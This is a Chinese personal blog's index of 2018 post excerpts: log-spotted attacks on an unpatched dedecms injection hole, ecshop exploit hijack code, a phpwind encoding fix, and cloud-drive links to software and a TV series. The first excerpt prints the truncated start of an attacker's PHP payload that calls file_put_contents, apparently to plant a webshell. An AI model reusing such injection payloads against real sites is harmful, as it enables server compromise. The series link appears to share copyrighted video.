今天看日志,看到几个大黑客。客人的dedecms没有补dedesql.class.php的那个注入洞
975fb08ad5b2c7995d4bf371a1110bdf.inc821d1d2e4d6c5630.inc
<?php
$z[0]=Array("php","file_put_contents('fuck……继续阅读 » admin 5年前 (2018-10-09) 17380浏览 0评论 8个赞
今天想登录http://www.miibeian.gov.cn/查询一下网站备案情况,进入公共查询之后,验证码无法显示,刷新一下,ip就被封掉了。
规则有点太严了,也导致了验证码无法显示,问题大大滴,这看来是查询系统被cc攻击的厉害啊,不然没可能这样搞吧
……继续阅读 » admin 5年前 (2018-10-08) 16174浏览 1评论 4个赞
外面的世纪台风“山竹”呼呼大吹,把窗户玻璃刮的哐哐作响,甚是恐怖,百蔬君没敢去办公室,于是在家里静思,有了总结下过去、写写文章的想法。
百蔬君是个学农的,从农村中来,现在也服务农业,一晃间从华南农业大学毕业到农科院工作已经10年了,算得上是一个老农科人了。其中在我们单位公司待的3年给我的人生印象深刻,其中最为明显的印迹就是怀了3个月“身孕”的肚子,体重也从1……继续阅读 » admin 5年前 (2018-10-08) 12340浏览 0评论 7个赞
这几天在办公室做事,换了台电脑,发现几个经常用的软件竟然网上下载不到了,真是奇怪,每次都要跑去旧电脑翻箱倒柜,搞得很不方便。 很好用很强大的hypersnap 6,下载地址:https://pan.baidu.com/s/1FEi7lKtwY7kxJu3UmHY5Iw 密码:o9ch 很强大的随机密码生成软件PassworG,下载地址:https……继续阅读 » admin 5年前 (2018-10-06) 23281浏览 0评论 5个赞
最近ecshop的远程执行漏洞闹得很凶,处理这个问题的时候发现一个很有意思的劫持代码
<meta property="qc:admins" content="4201266257651135546375" /><meta property="wb:webmaster" conten……继续阅读 » admin 5年前 (2018-09-13) 61543浏览 4评论 11个赞
最近ecshop到处被插,基本上都被拿下,问题就是\includes\lib_insert.php文件中存在未过滤变量。
网上分析利用的文章很多了。
http://www.lsablog.com/networksec/penetration/ecshop2-x-rce-analysis/
https://www.colabug.com/4410……继续阅读 » admin 5年前 (2018-09-13) 10656浏览 0评论 2个赞
我完整的看完了美国网飞公司出版的《毒枭》第一季,第二季,超喜欢。
现在又放出了贪腐大片《黑金高墙》,在网上比较难找到该剧的中文字幕。
我就把高清大片和中文字幕一起放网盘分享了。 百度云地址:https://pan.baidu.com/s/1bo25alseiCq9sQ9ctTKsXw
密码:499y
mkv为高清,mp4自带中文字幕
……继续阅读 » admin 5年前 (2018-04-07) 84801浏览 2评论 44个赞
2018,新年快乐
最近开始玩新浪微博
需要刀城邀请码的加我新浪微博吧
私信我
……继续阅读 » admin 5年前 (2018-02-14) 8855浏览 0评论 0个赞
对于GBK版phpwind在用chrome下载中文名附件时,附件名称全是乱码,其原因就是没有强制编码
记录一下解决办法
在job.php中
在
header("Content-Disposition: $attachment; filename=\"{$attach['name']}\"");
下面,把
header("Content-type: $cty……继续阅读 » admin 5年前 (2018-02-10) 7555浏览 0评论 1个赞
看到最近那么多明星在微博撕逼,搞得我也想去玩玩新浪微博了,有兴趣的一起去浪啊
关注我新浪微博
……继续阅读 » admin 5年前 (2018-01-30) 5975浏览 0评论 0个赞